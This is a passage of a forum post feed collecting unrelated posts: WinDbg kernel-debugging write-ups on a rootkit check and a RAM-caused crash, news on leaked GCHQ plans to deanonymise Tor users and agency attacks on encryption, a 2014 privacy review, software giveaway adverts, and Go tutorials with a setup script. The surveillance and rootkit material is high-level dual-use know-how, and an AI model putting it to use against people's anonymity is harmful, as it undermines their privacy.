fffffa80`07d13368 fffffa80`07d13ae8 fffffa80`07d45c28 fffffa80`07d13ae8 fffffa80`07d787e8 fffffa80`07d13368 fffffa80`07d787e8 fffffa80`07d65c28 fffffa80`07d13ae8 fffffa80`07d65c28 fffffa80`07d63368 fffffa80`07d787e8 fffffa80`07d63368 fffffa80`07d63c28 fffffa80`07d65c28 fffffa80`07d63c28 fffffa80`091c2368 fffffa80`07d63368 fffffa80`091c2368 fffffa80`091eb7e8 fffffa80`07d63c28 fffffa80`091eb7e8 fffffa80`07428c28 fffffa80`091c2368 fffffa80`07428c28 fffffa80`0742dc28 fffffa80`091eb7e8 fffffa80`0742dc28 fffffa80`0742ac28 fffffa80`07428c28 fffffa80`0742ac28 fffffa80`07463c28 fffffa80`0742dc28 he first entry is the System Process, which we can confirm: 1: kd> dt nt!_EPROCESS ActiveProcessLinks.Blink poi(PsInitialSystemProcess) +0x2e8 ActiveProcessLinks : [ 0xfffffa80`067aec28 - 0xfffff801`530acc80 ] +0x008 Blink : 0xfffff801`530acc80 _LIST_ENTRY [ 0xfffffa80`03088328 - 0xfffffa80`0a0b1828 ] From here, we can walk along the linked list to confirm whether or not it is corrupt: 1: kd> !validatelist fffff801`530acc80 Found list end after 118 entries It's not corrupt, however, I don't believe this implies that a rootkit is not present on the system, and that it hasn't been modified. For now, that's about it regarding this post! I just wanted to share my findings thus far. I will have to wait until the user has a chance to run addition recommended scans, such as GMER. I am almost certain in this case that we have a rootkit present, but you never want to be too sure. Thanks for reading! References/extra reading: Professional Rootkits - Ric Vieler - Google C?r?i Detection of Intrusions and Malware, and Vulnerability Assessment: 7th ... - Google C?r?i BSODTutorials: Rootkits: Direct Kernel Object Manipulation and Processes Source
  10. 0x50, the bug check we all love because it's so easy to say 'Remove avast!, AVG, Kaspersky, McAfee, Norton, ESET, etc' because most commonly this bug check is caused by antiviruses corrupting the file system, interceptors conflicting if anti-malware and antivirus active protections are running (maybe two antiviruses running at once), etc. Lots of different possibilities. However, what if we're not so quick to blame the antivirus, and come to find instead that it's faulty RAM? Well, let's talk about it! --------------------------- PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: fffffa806589b700, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff803fd7133d4, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) ^^ Here we of course have the basic output of the bug check. As we can see, parameter 1 is the memory that was referenced, and parameter 3 (if non-zero), is the instruction address which referenced the bad memory address (parameter 1). So, we can so far say that address fffffa806589b700 was written to by the instruction at address fffff803fd7133d4. Pretty easy so far! 6: kd> r cr2 cr2=fffffa806589b700 ^^ We can see above that the 1st parameter address was stored in cr2 prior to calling the page fault handler. This doesn't tell us anything we don't already know about the bug check, just a confirmation, if you will. --------------------------- Now that we know all of this, let's go ahead and run !pte on the 1st parameter address. !pte displays the page table entry (PTE) and page directory entry (PDE) for the specified address. 6: kd> !pte fffffa806589b700 VA fffffa806589b700 PXE at FFFFF6FB7DBEDFA8 PPE at FFFFF6FB7DBF5008 PDE at FFFFF6FB7EA01960 PTE at FFFFF6FD4032C4D8 contains 000000021EFFF863 contains 0000000000000000 GetUlongFromAddress: unable to read from fffff803fd9e20e4 pfn 21efff ---DA--KWEV not valid ^ We can see from the above that the address fffffa806589b700 is indeed invalid. With this said, why did fffffa806589b700 attempt to write to fffff803fd7133d4? Let's go ahead and run kv to get the trapframe: 6: kd> kv Child-SP RetAddr : Args to Child : Call Site fffff880`02f324f8 fffff803`fd7a55a0 : 00000000`00000050 fffffa80`6589b700 00000000`00000000 fffff880`02f326e0 : nt!KeBugCheckEx fffff880`02f32500 fffff803`fd71eacb : 00000000`00000000 fffffa80`6589b700 fffffa80`06705700 00000000`00000000 : nt! ?? ::FNODOBFM::`string'+0x33e2a fffff880`02f325a0 fffff803`fd6e1eee : 00000000`00000000 a1e00021`d8925847 00000000`00001000 fffff880`02f326e0 : nt!MmAccessFault+0x55b fffff880`02f326e0 fffff803`fd7133d4 : 00000003`00000000 00000000`00000000 a0200002`15917005 00000000`73576d4d : nt!KiPageFault+0x16e (TrapFrame @ fffff880`02f326e0) fffff880`02f32870 fffff803`fd732434 : fffffa80`080e2568 fffff880`02f32ac0 00000000`00000001 fffff803`fd731c9e : nt!MiAgeWorkingSet+0x264 fffff880`02f32a30 fffff803`fd7318bd : fffff880`02f32b09 00000000`00000001 00000000`00000000 00000000`00000000 : nt!MiTrimOrAgeWorkingSet+0xb4 fffff880`02f32a80 fffff803`fd740e94 : 00000000`00000007 00000000`00000000 00000000`00000001 00000000`00000007 : nt!MiProcessWorkingSets+0x1dd fffff880`02f32b70 fffff803`fd731e31 : 00000000`00000002 fffff880`02f32be0 00000000`00000008 00000000`00000000 : nt!MmWorkingSetManager+0x40 fffff880`02f32ba0 fffff803`fd6b6fd9 : fffffa80`06705700 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KeBalanceSetManager+0xd9 fffff880`02f32c10 fffff803`fd76b7e6 : fffff880`00e65180 fffffa80`06705700 fffff880`00e70f40 fffffa80`066fd040 : nt!PspSystemThreadStartup+0x59 fffff880`02f32c60 00000000`00000000 : fffff880`02f33000 fffff880`02f2d000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x16 6: kd> .trap fffff880`02f326e0 NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=00000000021d8925 rbx=0000000000000000 rcx=8000000000000000 rdx=0000098000000000 rsi=0000000000000000 rdi=0000000000000000 rip=fffff803fd7133d4 rsp=fffff88002f32870 rbp=000000000000021e r8=0000000fffffffff r9=fffff803fd9db700 r10=0000058000000000 r11=000007f8ca99f000 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na po cy nt!MiAgeWorkingSet+0x264: fffff803`fd7133d4 498b5510 mov rdx,qword ptr [r13+10h] ds:00000000`00000010=???????????????? ^^ On the instruction we failed on, address fffff803`fd7133d4 deferenced r13+10h where r13 is 0000000000000000. All of this would result in a memory write to the address 00000000`00000010. Let's go ahead and run !pte on 00000000`00000010 to see whether or not it's a valid address 6: kd> !pte 00000000`00000010 VA 0000000000000010 PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00000 PDE at FFFFF6FB40000000 PTE at FFFFF68000000000 contains 19000001DD904867 contains 014000020228E867 contains 01500001D070F867 contains 0000000000000000 pfn 1dd904 ---DA--UWEV pfn 20228e ---DA--UWEV pfn 1d070f ---DA--UWEV not valid ^^ It's invalid. We can go one step further and run dd which dumps the physical address. 6: kd> dd 00000000`00000010 00000000`00000010 ???????? ???????? ???????? ???????? 00000000`00000020 ???????? ???????? ???????? ???????? 00000000`00000030 ???????? ???????? ???????? ???????? 00000000`00000040 ???????? ???????? ???????? ???????? 00000000`00000050 ???????? ???????? ???????? ???????? 00000000`00000060 ???????? ???????? ???????? ???????? 00000000`00000070 ???????? ???????? ???????? ???????? 00000000`00000080 ???????? ???????? ???????? ???????? ^^ Again, completely invalid. --------------------------- Right, so the code wanted to write to 00000000`00000010 which as we can see above is a completely invalid and/or bogus address. The 1st parameter and cr2 however note we failed writing to address fffffa806589b700. This does not make sense, and is essentially not logically possible. MiAgeWorkingSet told the hardware to write to 00000000`00000010 (which again by the way is a completely invalid address), and the hardware came back and said 'I cannot write to fffffa806589b700'. I like ntdebug's analogy on this, which can be read (here). The way I like to explain it in this specific scenario is if you kindly asked the waiter of your table for some delicious hot lava water (doesn't exist, of course! :']), he writes it down, but comes back and says 'I'm sorry, but we're all out of coffee'. Ultimately, the hardware was told to write to a completely invalid address, and then came back with an entirely different invalid address. Seems very fishy on hardware, doesn't it? We can also very likely confirm that this is a hardware issue not just by the analysis alone, but this specific crash dump was verifier enabled, yet failed to find a 3rd party driver being the culprit (because there isn't one): Verify Level 2092b ... enabled options are: Special pool Special irql All pool allocations checked on unload Deadlock detection enabled Security checks enabled Miscellaneous checks enabled Summary of All Verifier Statistics RaiseIrqls 0x0 AcquireSpinLocks 0xfbf4b4 Synch Executions 0x124b88 Trims 0xa77 Pool Allocations Attempted 0x28395e Pool Allocations Succeeded 0x28395e Pool Allocations Succeeded SpecialPool 0x28395e Pool Allocations With NO TAG 0x26 Pool Allocations Failed 0x0 Resource Allocations Failed Deliberately 0x0 Current paged pool allocations 0xa8 for 00100740 bytes Peak paged pool allocations 0xbc for 002387F0 bytes Current nonpaged pool allocations 0x6eb9 for 0099F300 bytes Peak nonpaged pool allocations 0x6f4f for 009B0B08 bytes --------------------------- Ultimately, in this scenario, I asked the user to run Memtest (as RAM is as always the most likely culprit in a situation like this), and sure enough in ~10 hrs time, there were 7 errors. Thanks for reading! Source
  11. @Terry.Crews asta probabil pentru ca ai dat de 2 ori tag la aceasi persoana
  12. A new round of NSA documents snatched by master blabbermouth Edward Snowden appeared online late on Sunday, revealing spooks' internet security pet hates. The latest dump of PDFs published by Der Spiegel appeared to show what the Five Eyes surveillance buddies – the USA, the UK, Australia, Canada and New Zealand – see as obstacles posed by internet security protocols. While it's clear that the docs may well be out of date given that they cover the 2010 to 2012 period, they offer some interesting nuggets about how spies have attempted to break strong encryption online. An 18-page, redacted file (PDF) dated 13 June 2011, for example, goes into tantalising detail about "A potential technique to deanonymise users of the TOR network". It reveals that spooks at Britain's eavesdropping nerve centre GCHQ believed that they could unmask Tor. The document marked "UK TOP SECRET STRAP1 COMINT" reads: We have shown a technique that can deanonymise TOR web-browsing given packet times between the client and guard node and packet times from the exit node filtered to a single circuit. The false positive rate looks low enough to suggest this technique should be carried forward. The required data is not collected at present. For this technique to work the following additional data feeds will be required: Second-accurate packet logging at TOR exit nodes we control with packets labelled by a unique circuit identifier. Second-accurate packet logging of sessions between TOR clients and TOR guard nodes. This data could be obtained by SIGINT [signals intelligence] or by running guard nodes. The SIGINT solution would require an up-to-date feed of TOR "consensus" documents; TOR IP addresses could then be extracted from the "consensus" documents for filtering by the SIGINT system. At the time of writing JTRIG [Joint Threat Research Intelligence Group] are investigating the collection of the exit node data and ICTR-FSP are trialling a feed of guard node data from research bearers. The g-men concluded that "wider testing" was needed to get a better handle on the "false positive rate". It recommended that Brit spooks should try to deanonymise JTRIG TOR usage as a first step. Another GCHQ slide summarised (PDF) why the anonymised network was such a nuisance to government snoopers. "Very naughty people use Tor", it said, before adding "Hidden Services hide the fact web content even exists!", "Near impossible to figure out who is talking to who", and "It's complicated". Elsewhere, the documents revealed plenty of fear and loathing about attempts to decrypt the likes of PGP (still secure), AES (under attack but no definitive proof that it was compromised by spooks) and OTR (secure, but the software implementing it was found to be buggy and exploitable). Shared secret keys or passwords needed to be obtained before the VPN and SSL protocols could be decrypted. For VPN this would involve, say, hacking into a victim's router or PC, or slapping a court order on a company's sysadmin, while SSL private keys can easily be swiped by asking the CA root to hand it over. An NSA slide suggested that SSH had also been successfully attacked by security agencies by revealing what appeared to be a database of obtained SSH keys/passwords. It has long been known that Skype has been thoroughly owned by the NSA and it clearly should never be used by anyone with sensitive sources. Similarly, there were no surprises about the fact that PPTP is broken. Source
  13. In most contests the winner isn’t simultaneously the loser. But that wasn’t the case this past year in the unofficial contest to determine computer security and privacy winners and losers. The biggest winner in 2014 was you, the user. That’s because a host of new products and services emerged to help protect the privacy and security of your data and communications. The rulings in two court cases also provided better protection against the warrantless seizure of your data. But you were also the biggest loser this year in terms of privacy and security. Ongoing revelations about the NSA’s widespread surveillance have made it clear that the intelligence agency, and its spy partners in the UK and elsewhere, will not rest until they’ve seized or deciphered every bit of your data. There were other winners and losers this year as well—defined as those who contributed to the privacy and security of your data, those who defeated it, and those who simply failed to respond in a security-conscious way. Looking back at 2014 then, here’s a breakdown of the year’s biggest winners and losers. The Winners Apple If the NSA can be thanked for anything it’s for the competitive race the spy agency helped spur among tech companies scrambling to outdo one another in the privacy realm. Apple took the lead when it announced that the operating system, iOS8, would encrypt nearly all data on iPhones and iPads by default—including text messages, photos and contacts—and that Apple itself would not be able to decrypt it without the user’s passcode. Previous versions of the operating system allowed Apple to unlock devices with a key that the company controlled. It was a move intended to protect the data from all intruders but would in particular prevent law enforcement from forcing the company to unlock a user’s device. Google announced it would follow suit with its next Android software release. The praise, and backlash, were immediate. While consumers lauded the two companies for putting their privacy first, U.S. Attorney General Eric Holder and FBI director James Comey blasted the two companies saying that it would prevent law enforcement agencies from obtaining data even when they have a warrant (which was not entirely true—data backed up to iCloud and metadata is still available to law enforcement with a warrant). Apple responded by saying its intent wasn’t to hamper law enforcement but to make user data more secure against all intruders. WhatsApp The mobile messaging app outdid even Apple’s own messaging protections when it announced it was implementing end-to-end encryption for its hundreds of millions of users. WhatsApp communication is now encrypted with a key that only the user possesses and stores on his or her mobile phone or tablet, which means that even WhatsApp cannot read the user’s communication or be compelled by spy agencies and law enforcement to decrypt it. Although Apple has implemented a version of end-to-end encryption for iMessage users, that implementation has some security drawbacks that don’t exist in the WhatsApp scheme. Florida Supreme Court In an important case closely watched by civil liberties groups, Florida’s top court ruled that cops need a warrant to obtain cell tower data. The court ruled that obtaining cell phone location data to track a person’s location or movement in real time constitutes a Fourth Amendment search and therefore requires a court-ordered warrant. The case specifically involves cell tower data for a convicted drug dealer that police obtained from a telecom without a warrant. But the ruling would also cover law enforcement’s use of so-called “stingrays”—–devices that simulate a legitimate cell tower and force mobile devices in the vicinity to connect to them so that law enforcement agencies can locate and track people in the field without assistance from telecoms. U.S. Supreme Court In another important case, the nation’s top court ruled that cops can’t search the cell phones of arrestees without a warrant. U.S. prosecutors had argued that an arrestee’s cell phone was “materially indistinguishable” from any other storage device, such as a bag or wallet, found on an arrestee. But the justices weren’t buying that claim. “Modern cell phones, as a category,” they wrote in their decision, “implicate privacy concerns far beyond those implicated by a cigarette pack, a wallet or a purse.” Yahoo Say what you will about Yahoo as a viable internet company, but when news of the NSA’s Prism program broke last year, the tech giant emerged as a bit of a privacy hero. Many of the companies named as participants in the government’s data-collection program were caught flat-footed, having to defend against accusations that they had willingly handed customer data over to officials without a fight. But it soon emerged that Yahoo had in fact put up a scrappy legal fight against the government’s demands—although it ultimately lost. The company launched the fight after receiving a warrantless request for data in 2007. It’s not clear the extent of the data the government sought, but Yahoo fought back on Fourth Amendment grounds, asserting that the request required a probable-cause warrant and that the request was too broad and unreasonable and, therefore, violated the Constitution. The battle came to an end in 2008 after the Feds threatened the company with a massive $250,000 a day fine if it didn’t comply, and a court ruled that Yahoo’s arguments for resisting had no merit. While ultimately failing, Yahoo’s role in The Resistance should be commended. Google’s Project Zero Vendor bug bounty programs have been around for at least a decade, with software makers and web sites increasingly upping the amount they’re willing to pay to anyone who finds and reports a security vulnerability in their program or system. This year Google upended the tradition by announcing it had built an in-house hacking team to hunt for vulnerabilities not only in its own software, but in the software of other vendors as well. Project Zero aims to make the internet more secure for everyone by focusing on uncovering the high-value vulnerabilities, like Heartbleed and Shellshock, that put everyone at risk. Privacy and Security Losers Sony Plenty of companies over the years have suffered sensational hacks, but Sony’s breach may turn out to be the hack of the decade—not only because of the nature of the breach and the information stolen, but the way the pilfered data is being rolled out in batches, prolonging the agony and suspense for workers and executives. Some of the disclosures have been lame and mundane—for example, the pseudonyms celebrities use to check into hotels. Others have been embarrassing, such as the tasteless and racist exchange about President Obama between Sony Co-Chairman Amy Pascal and producer Scott Rudin. Still others have been outright damaging and invasive—the release of information about employee background checks and medical records and corporate secrets about negotiations and business deals. President Obama This year the U.S. government finally acknowledged that it withholds information about security vulnerabilities to exploit them, rather than passing the information on to software vendors and others to fix them. In making this revelation, the White House announced it was “reinvigorating” a so-called equities process designed to determine when to withhold and when to disclose—overseen by the president’s National Security Council. Going forward, the NSA must disclose any vulnerabilities it discovers—unless the hole would be useful for intelligence agencies or law enforcement to exploit. But loopholes that allow law enforcement to retain zero-days in order to exploit them, and a decision process that doesn’t include an external oversight body like Congress, means the public has to trust important issues about security to a process that isn’t transparent. US Marshals In a move so stunning that civil liberties groups are still shaking their heads over it, the U.S. Marshals Service in Florida made a Hail Mary to seize public records about a surveillance tool before the ACLU could obtain them. The civil liberties group had filed a public records request with the Sarasota, Florida, police department for information detailing its use of stingrays and had made an appointment to visit the facility where the documents were being held. But before they could get there, marshals swooped in to grab the recordsand abscond with them, claiming the police department didn’t own them. The feds and local police around the country have gone to other extraordinary lengths to keep the public in the dark about their use of the tool. This was simply the boldest. ACLU staff attorney Nathan Freed Wessler called the move “truly extraordinary and beyond the worst transparency violations” his group had seen in the secrecy battle over the use of stingrays. Verizon Consider it the digital cookie monster that gobbles all your footprints. Verizon Wireless ran into trouble when a technologist with the Electronic Frontier Foundation noticed that the telecom had been tracking its wireless users online activity by subtly slipping a “permacookie”—a string of about 50 letters, numbers, and characters—into data flowing between users and the websites they visited. Users got the cookie whether they wanted to be tracked or not, since Verizon revealed there was no way to “turn it off.” AT&T was testing a similar system with its customers until the backlash prompted the telecom to stop the practice. Gamma International The British-German maker of the government spy tool FinFisher has claimed for years that it doesn’t sell its product to police and spy agencies in countries with oppressive regimes known for human rights violations. But this year a hacker broke into the company’s network, stole about 40 gigabytes of data and released it online. Among data published from the company were internal logs and documents leaked to WikiLeaks, which showed discussions between Bahraini officials and tech support workers for Gamma over problems officials were having with the software. They complained they were “losing targets daily” as a result of glitches with the spy tool and provided Gamma with a list of 13 computers they were targeting, all of which were based in the UK. Although the names of the victims were not directly identified, their IP addresses, user names, and unique computer names were all on the target list shared with Gamma. The human rights group Bahrain Watch analyzed the data and were able to identify three Bahrainian pro-democracy activists, who have been living in asylum in Great Britain after being imprisoned and tortured in Bahrain. In October, the UK civil liberties group Privacy International filed a criminal complaint against with the National Cyber Crime Unit of the National Crime Agency alleging that the company was criminally complicit in helping the Bahrain government engage in unlawful interception of communications—a violation of UK’s Regulation of Investigatory Powers Act 2000—and that Gamma was not only aware of the surveillance but actively assisted it. By selling and assisting Bahraini authorities in their surveillance, the complaint asserts, Gamma is liable as an accessory under the Accessories and Abettors Act 1861 and is also guilty of encouraging and assisting the unlawful activity, a crime under the Serious Crime Act 2007. The group wants the government to conduct a formal investigation, though so far the government has failed to respond to their complaint. Source
  14. Destul de ok tema dar incearca cu alte culorii, imi ard ochii
  15. Ocster Backup Pro 7 is an exceptionally easy to set up and powerful backup solution. It is optimized to never disturb your work or slow down your computer (automatic pausing), and it supports full PC backup (image backup), file backup, email backup (Outlook, Thunderbird), and browser backup (Firefox, Chrome, Internet Explorer). This giveaway has no free updates or tech support and is for home/personal use only. Want more features, free updates, tech support, business + home use, and ability to install/reinstall at anytime? Then get Ocster Backup Pro 8 Platinum Edition with free upgrades. Sale ends in 1 day 16 hrs 39 mins Free Ocster Backup Pro 7 (100% discount)
  16. Auslogics BoostSpeed 6 is an all-in-one system utility that comes with fifteen built-in tools — including uninstall manager, disk defrag, system tweaker, file recovery, internet optimizer, startup manager, disk doctor, browser manager, and more — to help you clean, maintain, and optimize your PC. This giveaway has no free updates or tech support and is for home/personal use only. Want more features, free updates, tech support, business + home use, and ability to install/reinstall at anytime? Then get Auslogics BoostSpeed 7 Premium with free updates. Also be sure to check our Active Sales list for more free and discounted software! Sale ends in 1 day 16 hrs 39 mins Free Auslogics BoostSpeed 6 (100% discount)
  17. Now you can design any city you can imagine and SimCity 2000™ will bring it, and its resident Sims, to life. It has all the features, flexibility, art, animation, and power you need to create an environment of your dreams. Choose from a selection of bonus cities and scenarios to rule or ruin as you please. Build schools, libraries, hospitals, zoos, prisons, power plants, and much more… Lay down roads, railways, and highways. Explore the underground layer and build subways and utilities without compromising your aesthetics. Customize different buildings or design your own graphics sets from scratch. This is the ultimate classic Maxis city-building and management simulation. If this game were any more realistic, it’d be illegal to turn it off! Sale ends in 1 day 16 hrs 38 mins http://sharewareonsale.com/s/ea-simcity-giveaway-coupon-sale
  18. mrtparse is a module to read and analyze the MRT format data. The MRT format data can be used to export routing protocol messages, state changes, and routing information base contents, and is standardized in RFC6396. Programs like Quagga / Zebra, BIRD, OpenBGPD and PyRT can dump the MRT format data. Written in Python. Changes: Code improvements in mrtparse.py. Added support for IPv6 in exabgp_conf.py. Various other updates and fixes. Download
  19. Some time ago, when i just started to use golang, golang project's structure organizing, this magic $GOPATH and other things was strange for me. No, it wasn't bad, just nothing like i have used before. It's simple to understand with erlang, at least for the start, you must just install erlang, to create project, to add rebar with deps and that's all. Something like this with nodejs project bootstraping. There are clear and intuitive package managers which downloads project's dependencies and puts it to the project dir. Another case with Golang && go get. They are very cool, but not for the first look. You read it's documentation, execute all instructions and than get something like go can't find `projectname` in $GOPATH and $GOROOT. So i created simple bash script which will help you to set up golang environment from the scratch. It makes 3 simple things: Creates directories for Golang compiler and your future projects Downloads golang compiler and builds it Puts golang/bin/ and directory with your projects to $GOPATH That's all. Very simple. Of course this script is not for a professional golang developers. It's primarily for two points: For newbie gophers For fast setting up golang environment Here is the script: #!/bin/bash # # Bash script for fast setting up Golang environment # # Usage: # # sudo chmod +x gostartup && ./gostartup # red="\e[31m" green="\e[32m" nocolor="\e[0m" bashrc="/home/"$USER"/.bashrc" echo -e "Where do you want to store golang projects [default: /home/$USER/go] \c:" read gopath if [[ $gopath == "" ]] then gopath="/home/$USER/go/" fi if [[ "${gopath: -1}" != '/' ]]; then gopath=$gopath"/" fi gobin=$gopath"go" projects=$gopath"go-projects" struct=$gopath"go-projects/src/github.com"$github_user echo -e "What's you Github username: \c'" read github_user if [[ $github_user == "" ]] then echo -e $red"[Error]: Github username can't be empty"$nocolor exit 0 fi echo -e "Do you want to get last golang compiler [y/n]: \c" read getgo if [ ! -d "$gopath" ]; then mkdir $gopath fi if [ ! -d "$gobin" ]; then mkdir $gopath"go" fi if [ ! -d "$projects" ]; then mkdir $gopath"go-projects" fi if [ ! -d "$struct" ]; then mkdir -p $gopath"go-projects/src/github.com/"$github_user fi if [[ "$getgo" == "y" ]]; then hg clone -u release "https://code.google.com/p/go" $gopath"go" exec $gopath"go/src/all.bash" fi echo "export GOPATH="$gopath"go-projects" >> $bashrc echo "export PATH=$PATH:$GOPATH/"$gopath"go/bin" >> $bashrc echo -e $green"done" $nocolor exit 0 Source
  20. So, as maybe some of you knows that i have started to use Golang programming language for my pet projects and since to solve "Project Euler" tasks is very useful deal, but very boring in the same time, i decided to create something more closer to real life. I decided to write XMPP server in golang and in this post i will tell about one part of this server - netpool/tcp library. netpool/tcp - is a tcp based socket acceptor pool. The idea is very simple, you will launch TCP listener which will launch many acceptors besides one, in this way you no need to spend time for creating new connection acceptor. First of all let's create new tcp package and import all libraries which will we need in this project: package tcp import "io" import "log" import "net" import "bufio" import "strconv" import "crypto/tls" import "crypto/rand" import "net/textproto" Now let's define types which we will need in our acceptor pool: const ( RefuseConnection = iota IncreaseConnection ) const defaultIncreaseAcceptors = 50 // // Listener instance // type Listener struct { Accnb int Port int Handler Handler Lc chan string OverFlowStrategy int Ssl map[string]string } // // Connection handler // type Handler func(string, Connection) // // Connection wrapper // type Connection struct { Conn net.Conn Write chan []byte Quit chan bool Listener *Listener } Let's go by order. First enumeration defines strategies when connection listener handles more connections than we define. RefuseConnection - listener will refuse connections after connections amount overflow; IncreaseConnection - listener will start yet another 50 acceptors. Next is simpe constant value which defines how many acceptors need to start after connections amount overflow. Next is ListenerStruct structure. It is a main structure which we will pass to StartListener function for launching new listener. It has following fields: Accnb - number of acceptors; Port - connection port; Handler - function with 2 parameters: input string and conn tcp.Connection. It will calls when client send something to server; Lc - listener channel, it needs for communicating with listener; OverFlowStrategy - It can be 0 || 1, see note about overflow strategies; Ssl - it is a map, we need to use it if we want to use ssl. Just create map with 2 string keys: pam and key. Next if will show how to use it. Also it has API which consists now only from one function - StopListener without any arguments, you can stop current connection with it. Next is a Connection structure. We have it every time as second parameter in connection handler function. It has simple API for manipulating with connection: Connection.Close - close current connection; Connection.Send - send response. So, now web have all types which we will use in this library. Now proceed to implementation. All API of netpool/tcp consists only from one function: func StartNewListener(listener *Listener) { } It's a main function of this library and it launches new tcp listener and some acceptors. Let's see how it implemented. First of all it defines some variables like: acceptorCounter for count acceptors, checks is it connection over SSL or not and launches listener which depends on this: var err error var ln net.Listener var cert tls.Certificate if listener.Ssl == nil { ln, err = net.Listen("tcp", ":" + strconv.Itoa(listener.Port)) } else { cert, err = tls.LoadX509KeyPair(listener.Ssl["pem"], listener.Ssl["key"]) config := tls.Config{Certificates: []tls.Certificate{cert}} config.Rand = rand.Reader ln, err = tls.Listen("tcp", ":" + strconv.Itoa(listener.Port), &config) } if err != nil { log.Print("[Error] TCP listener didn't start: ", err) return } Next it creates 2 channels: connectionCounter - channel for communicating between acceptor goroutines and listener. If connection was closed it sends message to listener and listener decrease connection numbers, if new connection was accepted it increase connection number; closeConnection - channel for commuicating between listener and acceptor for closing current connection. and starts acceptors: ectionCounter := make(chan int) closeConnection := make(chan bool) // start all acceptors for accs := 0; accs < listener.Accnb; accs++ { go acceptor(accs, ln, connectionCounter, listener, closeConnection, acceptorsCounter) } After this listener waits for messages from another goroutines for closing current listener, closing connection, connection removed/created and etc...: for { switch listener.OverFlowStrategy { case 0: if acceptorsCounter >= listener.Accnb { conn, _ := ln.Accept() conn.Close() } case 1: listener.Accnb += 50 for i := 0; i < defaultIncreaseAcceptors; i++ { go acceptor(i, ln, connectionCounter, listener, closeConnection, acceptorsCounter) } } select { case msg := <-connectionCounter: if msg == -1 { acceptorsCounter-- } else { acceptorsCounter++ } case msg := <-listener.Lc: if msg == "stop" { closeConnection <- true close(listener.Lc) close(connectionCounter) ln.Close() return } } } So what about acceptors... It's pretty simple as a listener implementation, it starts from accepting new connection and waits for incoming messages from connected client. If there are any incoming data from client it call handler function and pass input data and Connection structure to it: func acceptor(acc int, ln net.Listener, counterChannel chan int, listener *Listener, closeChannel chan bool, accCounter int) { conn, err := ln.Accept() if err != nil { log.Print("[Error] Tcp listener can't accept new connection: ", acc) return } // send to the listener info about new accepted connection counterChannel <- 1 // create new connection struct newConnection := &Connection{conn, make(chan []byte), make(chan bool), listener} // // start to handle new connction // for { line, inputErr := textproto.NewReader(bufio.NewReader(conn)).ReadLine() if inputErr == io.EOF { log.Print("inputErr: ", inputErr) // close connection conn.Close() // tell to listener that one acceptor died counterChannel <- -1 return } go listener.Handler(line, *newConnection) // // .... // } After this it as a listener checks incoming message from other goroutines, to stop connection and etc... So it's end. As we can saw concurrency is a pretty simple with Golang. As i said in previous post i'm not a golang super-hacker, if you will have any recommendations for my golang code or you want to take part in XMPP server developing with golang i will be very pleased to hear it, write me in comment or ping me in twitter.. Also i made this library primarily for future extd XMPP server but i tried to make it generic so i think it can be useful not only for me. Links: netpool/tcp netpool/tcp example of usage Source
  21. It is quite easy to create binary tree implementation with Go programming language, but it's not clearly for the first view how to make it generic. I think most of us know what is it Binary tree, so I will no explain it here, you can find in the Internet. Let's try to implement binary tree. As you can read about I want to implement generic binary try, so I don't want to make binary tree for some concrete type like int, string and etc... it must generic and be able to work with any data types. It is not a problem to make it generic, because we have {}interface type in Golang. interface{} type means something like any type. That's way you free to do something like this: var myString interface{} = "myString" var myInt interface{} = 0 Ok, we have interface{} type for any type. Let's create binary tree structure now: type BinaryTree struct { node interface{} left *BinaryTree right *BinaryTree } We can see here that binary tree consist from node and pointers to left and right nodes: Now need to create initialization helper for our binary tree which will return empty binary tree to user: func New() *BinaryTree { tree := &BinaryTree{} tree.node = nil return tree } Ok, now we have binary tree data structure and some code for it's initialization. Let's go to the most interesting part. Now we create Insert function. It will get 1 parameter, some data with interface{} type and insert new node to the our binary tree. How insert works for binary tree: It get new node and tree and check if this tree is empty it creates new first node with this data. If tree is not empty, it compares new node data with current node value and if it is greater it goes recursively to right branch, and if it is smaller it goes to left node in the same way. Implementation of this is following: func (tree *BinaryTree) Insert(value interface{}) { if tree.node == nil { tree.node = value tree.right = New() tree.left = New() return } else { if value < tree.node { tree.left.Insert(value) } else { tree.right.Insert(value) } } } Very simple implementation of inserting but it will not work If we try to compile our code, we'll get error that: < operator not defined for interface. From the point of logic it is properly behaviour. Really, interface{} means any type, so golang doesn't know what's type will be there and how to compare two values of this type. Actually we can pass and int and string and MyCustomType instead interface{}. How to be with this? If we will look how another programming languages solve this problem, we will find something interesting. Let's look to Haskell for example: There is Ord type class which provides behaviour for <,> and other function for comparing data. Binary tree in Haskell looks like: data Tree a = Empty | Node a (Tree a) (Tree a) Practically it looks almost like golang implementation but with another syntax. We have current node and recursively defined left and right trees. We can see a here, it is like interface{} type in golang. We just can make instance of Ord for Tree and tell Haskell compiler how to use <, > and other operators for tree. There is method to do this in golang like in Haskell. Let's update our binary tree structure and add one function there: type BinaryTree struct { node interface{} left *BinaryTree right *BinaryTree lessFun Comparable } type Comparable func (c1 interface{}, c2 interface{}) bool You can see that we had add new field: lessFun which has functional type which gets two arguments with interface{} type and returns bool. How it help us? Before initialization of new binary tree, user will create function with two interface{} and implement comparing of this two arguments there. if first argument smaller than second it will returns true, and false in against way. Usually user knows what's type will be in binary tree and user must know how compare his types. After defining this function need to pass it to New function, so it will be like this: func New(compareFun Comparable) *BinaryTree { tree := &BinaryTree{} tree.node = nil tree.lessFun = compareFun return tree } And now we can write insert function: func (tree *BinaryTree) Insert(value interface{}) { if tree.node == nil { tree.node = value tree.right = New(tree.lessFun) tree.left = New(tree.lessFun) return } else { if tree.lessFun(value, tree.node) == true { tree.left.Insert(value) } else { tree.right.Insert(value) } } } Insert function compares node and new node with lessFun function, so it already knows how to compare data with certain types. For example we want to create binary tree for int, it will be: func compare(x interface{}, y interface{}) bool { if x.(int) < y.(int) { return true } else { return false } } func main(){ tree := New(compare) tree.Insert(1) tree.Insert(2) tree.Insert(3) } Here is compare function which gets two arguments with interface{} type and compares it resulting to int type. Than we create new binary 